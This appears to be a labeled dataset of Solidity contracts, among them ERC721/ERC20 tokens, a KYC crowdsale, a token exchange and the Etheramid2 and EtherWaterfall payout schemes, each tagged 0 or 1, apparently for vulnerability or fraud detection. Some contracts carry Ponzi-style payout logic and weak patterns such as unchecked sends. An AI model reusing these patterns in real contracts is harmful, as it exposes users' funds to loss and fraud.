emit Transfer(from, _to, _tokenId);
}
function _mint(
address _to,
uint256 _tokenId
)
internal
{
require(_to != address(0));
require(_tokenId != 0);
require(idToOwner[_tokenId] == address(0));
addNFToken(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(
address _owner,
uint256 _tokenId
)
validNFToken(_tokenId)
internal
{
clearApproval(_tokenId);
removeNFToken(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(
uint256 _tokenId
)
private
{
if(idToApprovals[_tokenId] != 0)
{
delete idToApprovals[_tokenId];
}
}
function removeNFToken(
address _from,
uint256 _tokenId
)
internal
{
require(idToOwner[_tokenId] == _from);
assert(ownerToNFTokenCount[_from] > 0);
ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from].sub(1);
delete idToOwner[_tokenId];
}
function addNFToken(
address _to,
uint256 _tokenId
)
internal
{
require(idToOwner[_tokenId] == address(0));
idToOwner[_tokenId] = _to;
ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to].add(1);
}
}
contract NFTokenEnumerable is
NFToken,
ERC721Enumerable
{
uint256[] internal tokens;
mapping(uint256 => uint256) internal idToIndex;
mapping(address => uint256[]) internal ownerToIds;
mapping(uint256 => uint256) internal idToOwnerIndex;
constructor()
public
{
supportedInterfaces[0x780e9d63] = true;
}
function _mint(
address _to,
uint256 _tokenId
)
internal
{
super._mint(_to, _tokenId);
tokens.push(_tokenId);
idToIndex[_tokenId] = tokens.length.sub(1);
}
function _burn(
address _owner,
uint256 _tokenId
)
internal
{
super._burn(_owner, _tokenId);
assert(tokens.length > 0);
uint256 tokenIndex = idToIndex[_tokenId];
assert(tokens[tokenIndex] == _tokenId);
uint256 lastTokenIndex = tokens.length.sub(1);
uint256 lastToken = tokens[lastTokenIndex];
tokens[tokenIndex] = lastToken;
tokens.length--;
idToIndex[lastToken] = tokenIndex;
idToIndex[_tokenId] = 0;
}
function removeNFToken(
address _from,
uint256 _tokenId
)
internal
{
super.removeNFToken(_from, _tokenId);
assert(ownerToIds[_from].length > 0);
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length.sub(1);
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
ownerToIds[_from].length--;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
idToOwnerIndex[_tokenId] = 0;
}
function addNFToken(
address _to,
uint256 _tokenId
)
internal
{
super.addNFToken(_to, _tokenId);
uint256 length = ownerToIds[_to].length;
ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = length;
}
function totalSupply()
external
view
returns (uint256)
{
return tokens.length;
}
function tokenByIndex(
uint256 _index
)
external
view
returns (uint256)
{
require(_index < tokens.length);
assert(idToIndex[tokens[_index]] == _index);
return tokens[_index];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
external
view
returns (uint256)
{
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
}
interface ERC721Metadata {
function name()
external
view
returns (string _name);
function symbol()
external
view
returns (string _symbol);
function tokenURI(uint256 _tokenId)
external
view
returns (string);
}
contract NFTokenMetadata is
NFToken,
ERC721Metadata
{
string internal nftName;
string internal nftSymbol;
mapping (uint256 => string) internal idToUri;
constructor()
public
{
supportedInterfaces[0x5b5e139f] = true;
}
function _burn(
address _owner,
uint256 _tokenId
)
internal
{
super._burn(_owner, _tokenId);
if (bytes(idToUri[_tokenId]).length != 0) {
delete idToUri[_tokenId];
}
}
function _setTokenUri(
uint256 _tokenId,
string _uri
)
validNFToken(_tokenId)
internal
{
idToUri[_tokenId] = _uri;
}
function name()
external
view
returns (string _name)
{
_name = nftName;
}
function symbol()
external
view
returns (string _symbol)
{
_symbol = nftSymbol;
}
function tokenURI(
uint256 _tokenId
)
validNFToken(_tokenId)
external
view
returns (string)
{
return idToUri[_tokenId];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor()
public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(
address _newOwner
)
onlyOwner
public
{
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Xcert is NFTokenEnumerable, NFTokenMetadata, Ownable {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 internal nftConventionId;
mapping (uint256 => string) internal idToProof;
mapping (uint256 => bytes32[]) internal config;
mapping (uint256 => bytes32[]) internal data;
mapping (address => bool) internal addressToAuthorized;
event AuthorizedAddress(
address indexed _target,
bool _authorized
);
modifier isAuthorized() {
require(msg.sender == owner || addressToAuthorized[msg.sender]);
_;
}
constructor()
public
{
supportedInterfaces[0x6be14f75] = true;
}
function mint(
address _to,
uint256 _id,
string _uri,
string _proof,
bytes32[] _config,
bytes32[] _data
)
external
isAuthorized()
{
require(_config.length > 0);
require(bytes(_proof).length > 0);
super._mint(_to, _id);
super._setTokenUri(_id, _uri);
idToProof[_id] = _proof;
config[_id] = _config;
data[_id] = _data;
}
function conventionId()
external
view
returns (bytes4 _conventionId)
{
_conventionId = nftConventionId;
}
function tokenProof(
uint256 _tokenId
)
validNFToken(_tokenId)
external
view
returns(string)
{
return idToProof[_tokenId];
}
function tokenDataValue(
uint256 _tokenId,
uint256 _index
)
validNFToken(_tokenId)
public
view
returns(bytes32 value)
{
require(_index < data[_tokenId].length);
value = data[_tokenId][_index];
}
function tokenExpirationTime(
uint256 _tokenId
)
validNFToken(_tokenId)
external
view
returns(bytes32)
{
return config[_tokenId][0];
}
function setAuthorizedAddress(
address _target,
bool _authorized
)
onlyOwner
external
{
require(_target != address(0));
addressToAuthorized[_target] = _authorized;
emit AuthorizedAddress(_target, _authorized);
}
function isAuthorizedAddress(
address _target
)
external
view
returns (bool)
{
require(_target != address(0));
return addressToAuthorized[_target];
}
}
interface ERC20 {
function name()
external
view
returns (string _name);
function symbol()
external
view
returns (string _symbol);
function decimals()
external
view
returns (uint8 _decimals);
function totalSupply()
external
view
returns (uint256 _totalSupply);
function balanceOf(
address _owner
)
external
view
returns (uint256 _balance);
function transfer(
address _to,
uint256 _value
)
external
returns (bool _success);
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool _success);
function approve(
address _spender,
uint256 _value
)
external
returns (bool _success);
function allowance(
address _owner,
address _spender
)
external
view
returns (uint256 _remaining);
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
}
contract Token is
ERC20
{
using SafeMath for uint256;
string internal tokenName;
string internal tokenSymbol;
uint8 internal tokenDecimals;
uint256 internal tokenTotalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
function name()
external
view
returns (string _name)
{
_name = tokenName;
}
function symbol()
external
view
returns (string _symbol)
{
_symbol = tokenSymbol;
}
function decimals()
external
view
returns (uint8 _decimals)
{
_decimals = tokenDecimals;
}
function totalSupply()
external
view
returns (uint256 _totalSupply)
{
_totalSupply = tokenTotalSupply;
}
function balanceOf(
address _owner
)
external
view
returns (uint256 _balance)
{
_balance = balances[_owner];
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool _success)
{
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
_success = true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool _success)
{
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
_success = true;
}
function allowance(
address _owner,
address _spender
)
external
view
returns (uint256 _remaining)
{
_remaining = allowed[_owner][_spender];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool _success)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
_success = true;
}
}
contract Zxc is
Token,
Ownable
{
using SafeMath for uint256;
bool internal transferEnabled;
address public crowdsaleAddress;
event Burn(
address indexed _burner,
uint256 _value
);
modifier validDestination(
address _to
)
{
require(_to != address(0x0));
require(_to != address(this));
require(_to != address(crowdsaleAddress));
_;
}
modifier onlyWhenTransferAllowed()
{
require(transferEnabled || msg.sender == crowdsaleAddress);
_;
}
constructor()
public
{
tokenName = "0xcert Protocol Token";
tokenSymbol = "ZXC";
tokenDecimals = 18;
tokenTotalSupply = 400000000000000000000000000;
transferEnabled = false;
balances[owner] = tokenTotalSupply;
emit Transfer(address(0x0), owner, tokenTotalSupply);
}
function transfer(
address _to,
uint256 _value
)
onlyWhenTransferAllowed()
validDestination(_to)
public
returns (bool _success)
{
_success = super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
onlyWhenTransferAllowed()
validDestination(_to)
public
returns (bool _success)
{
_success = super.transferFrom(_from, _to, _value);
}
function enableTransfer()
onlyOwner()
external
{
transferEnabled = true;
}
function burn(
uint256 _value
)
onlyOwner()
external
{
require(_value <= balances[msg.sender]);
balances[owner] = balances[owner].sub(_value);
tokenTotalSupply = tokenTotalSupply.sub(_value);
emit Burn(owner, _value);
emit Transfer(owner, address(0x0), _value);
}
function setCrowdsaleAddress(
address crowdsaleAddr
)
external
onlyOwner()
{
crowdsaleAddress = crowdsaleAddr;
}
}
contract ZxcCrowdsale
{
using SafeMath for uint256;
Zxc public token;
Xcert public xcertKyc;
uint256 public startTimePresale;
uint256 public startTimeSaleWithBonus;
uint256 public startTimeSaleNoBonus;
uint256 public bonusPresale;
uint256 public bonusSale;
uint256 public endTime;
uint256 public minimumPresaleWeiDeposit;
uint256 public preSaleZxcCap;
uint256 public crowdSaleZxcSupply;
uint256 public zxcSold;
address public wallet;
uint256 public rate;
event TokenPurchase(
address indexed _from,
address indexed _to,
uint256 _weiAmount,
uint256 _tokenAmount
);
constructor(
address _walletAddress,
address _tokenAddress,
address _xcertKycAddress,
uint256 _startTimePresale,
uint256 _startTimeSaleWithBonus,
uint256 _startTimeSaleNoBonus,
uint256 _endTime,
uint256 _rate,
uint256 _presaleZxcCap,
uint256 _crowdSaleZxcSupply,
uint256 _bonusPresale,
uint256 _bonusSale,
uint256 _minimumPresaleWeiDeposit
)
public
{
require(_walletAddress != address(0));
require(_tokenAddress != address(0));
require(_xcertKycAddress != address(0));
require(_tokenAddress != _walletAddress);
require(_tokenAddress != _xcertKycAddress);
require(_xcertKycAddress != _walletAddress);
token = Zxc(_tokenAddress);
xcertKyc = Xcert(_xcertKycAddress);
uint8 _tokenDecimals = token.decimals();
require(_tokenDecimals == 18);
wallet = _walletAddress;
require(_bonusPresale > 0 && _bonusPresale <= 100);
require(_bonusSale > 0 && _bonusSale <= 100);
bonusPresale = _bonusPresale;
bonusSale = _bonusSale;
require(_startTimeSaleWithBonus > _startTimePresale);
require(_startTimeSaleNoBonus > _startTimeSaleWithBonus);
startTimePresale = _startTimePresale;
startTimeSaleWithBonus = _startTimeSaleWithBonus;
startTimeSaleNoBonus = _startTimeSaleNoBonus;
endTime = _endTime;
require(_rate > 0);
rate = _rate;
require(_crowdSaleZxcSupply > 0);
require(token.totalSupply() >= _crowdSaleZxcSupply);
crowdSaleZxcSupply = _crowdSaleZxcSupply;
require(_presaleZxcCap > 0 && _presaleZxcCap <= _crowdSaleZxcSupply);
preSaleZxcCap = _presaleZxcCap;
zxcSold = 71157402800000000000000000;
require(_minimumPresaleWeiDeposit > 0);
minimumPresaleWeiDeposit = _minimumPresaleWeiDeposit;
}
function()
external
payable
{
buyTokens();
}
function buyTokens()
public
payable
{
uint256 tokens;
uint256 balance = xcertKyc.balanceOf(msg.sender);
require(balance > 0);
uint256 tokenId = xcertKyc.tokenOfOwnerByIndex(msg.sender, balance - 1);
uint256 kycLevel = uint(xcertKyc.tokenDataValue(tokenId, 0));
if (isInTimeRange(startTimePresale, startTimeSaleWithBonus)) {
require(kycLevel > 1);
require(msg.value >= minimumPresaleWeiDeposit);
tokens = getTokenAmount(msg.value, bonusPresale);
require(zxcSold.add(tokens) <= preSaleZxcCap);
}
else if (isInTimeRange(startTimeSaleWithBonus, startTimeSaleNoBonus)) {
require(kycLevel > 0);
tokens = getTokenAmount(msg.value, bonusSale);
}
else if (isInTimeRange(startTimeSaleNoBonus, endTime)) {
require(kycLevel > 0);
tokens = getTokenAmount(msg.value, uint256(0));
}
else {
revert("Purchase outside of token sale time windows");
}
require(zxcSold.add(tokens) <= crowdSaleZxcSupply);
zxcSold = zxcSold.add(tokens);
wallet.transfer(msg.value);
require(token.transferFrom(token.owner(), msg.sender, tokens));
emit TokenPurchase(msg.sender, msg.sender, msg.value, tokens);
}
function hasEnded()
external
view
returns (bool)
{
bool capReached = zxcSold >= crowdSaleZxcSupply;
bool endTimeReached = now >= endTime;
return capReached || endTimeReached;
}
function isInTimeRange(
uint256 _startTime,
uint256 _endTime
)
internal
view
returns(bool)
{
if (now >= _startTime && now < _endTime) {
return true;
}
else {
return false;
}
}
function getTokenAmount(
uint256 weiAmount,
uint256 bonusPercent
)
internal
view
returns(uint256)
{
uint256 tokens = weiAmount.mul(rate);
if (bonusPercent > 0) {
uint256 bonusTokens = tokens.mul(bonusPercent).div(uint256(100));
tokens = tokens.add(bonusTokens);
}
return tokens;
}
} | 0 |
pragma solidity >=0.4.22 <0.6.0;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract BoostPax {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
) public {
totalSupply = 100000000 * 10 ** uint256(18);
balanceOf[msg.sender] = totalSupply;
name = "BoostPax";
symbol = "BPX";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 |
contract Etheramid1{
function getParticipantById (uint id) constant public returns ( address inviter, address itself, uint totalPayout );
function getParticipantCount () public constant returns ( uint count );
}
contract Etheramid2 {
struct Participant {
address inviter;
address itself;
uint totalPayout;
}
mapping (address => Participant) Tree;
mapping (uint => address) Index;
uint Count = 0;
address public top;
uint constant contribution = 1 ether;
Etheramid1 eth1 = Etheramid1(0x9758DA9B4D001Ed2d0DF46d25069Edf53750767a);
uint oldUserCount = eth1.getParticipantCount();
function Etheramid2() {
moveOldUser(0);
top = Index[0];
}
function() {
throw;
}
function moveOldUser (uint id) public {
address inviter;
address itself;
uint totalPayout;
(inviter, itself, totalPayout) = eth1.getParticipantById(id);
if ((Tree[itself].inviter != 0x0) || (id >= oldUserCount)) throw;
addParticipant(inviter, itself, totalPayout);
}
function getParticipantById (uint id) constant public returns ( address inviter, address itself, uint totalPayout ){
if (id >= Count) throw;
address ida = Index[id];
inviter = Tree[ida].inviter;
itself = Tree[ida].itself;
totalPayout = Tree[ida].totalPayout;
}
function getParticipantByAddress (address adr) constant public returns ( address inviter, address itself, uint totalPayout ){
if (Tree[adr].itself == 0x0) throw;
inviter = Tree[adr].inviter;
itself = Tree[adr].itself;
totalPayout = Tree[adr].totalPayout;
}
function addParticipant(address inviter, address itself, uint totalPayout) private{
Index[Count] = itself;
Tree[itself] = Participant( {itself: itself, inviter: inviter, totalPayout: totalPayout});
Count +=1;
}
function getParticipantCount () public constant returns ( uint count ){
count = Count;
}
function enter(address inviter) public {
uint amount = msg.value;
if ((amount < contribution) || (Tree[msg.sender].inviter != 0x0) || (Tree[inviter].inviter == 0x0)) {
msg.sender.send(msg.value);
throw;
}
addParticipant(inviter, msg.sender, 0);
address next = inviter;
uint rest = amount;
uint level = 1;
while ( (next != top) && (level < 7) ){
uint toSend = rest/2;
next.send(toSend);
Tree[next].totalPayout += toSend;
rest -= toSend;
next = Tree[next].inviter;
level++;
}
next.send(rest);
Tree[next].totalPayout += rest;
}
} | 0 |
pragma solidity ^0.4.9;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
function ReserveToken() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) throw;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) throw;
if (balances[account] < amount) throw;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
function accountLevel(address user) constant returns(uint) {}
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) {
accountLevels[user] = level;
}
function accountLevel(address user) constant returns(uint) {
return accountLevels[user];
}
}
contract EtherCashPay is SafeMath {
address public admin;
address public feeAccount;
address public accountLevelsAddr;
uint public feeMake;
uint public feeTake;
uint public feeRebate;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint)) public orderFills;
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function EtherCashPay (address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
admin = 0x756dD5bA2b8e20210ddEb345C59D69C3a011a4EC;
feeAccount = 0x012662Cac702241e37BC1a2C81Ca7C4ee59aDad8;
accountLevelsAddr = 0x0000000000000000000000000000000000000000;
feeMake = 0;
feeTake = 3000000000000000;
feeRebate = 0;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) {
if (msg.sender != admin) throw;
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) throw;
if (feeMake_ > feeMake) throw;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) throw;
if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) {
if (msg.sender != admin) throw;
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
feeRebate = feeRebate_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
if (token==0) throw;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) throw;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
} | 0 |
pragma solidity ^0.4.25;
contract EtherWaterfall {
address constant private PROMO = 0x014bF153476683dC0A0673325C07EB3342281DC8;
uint constant public PROMO_PERCENT = 6;
uint constant public MULTIPLIER = 119;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 13 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getSingleDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getAllDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
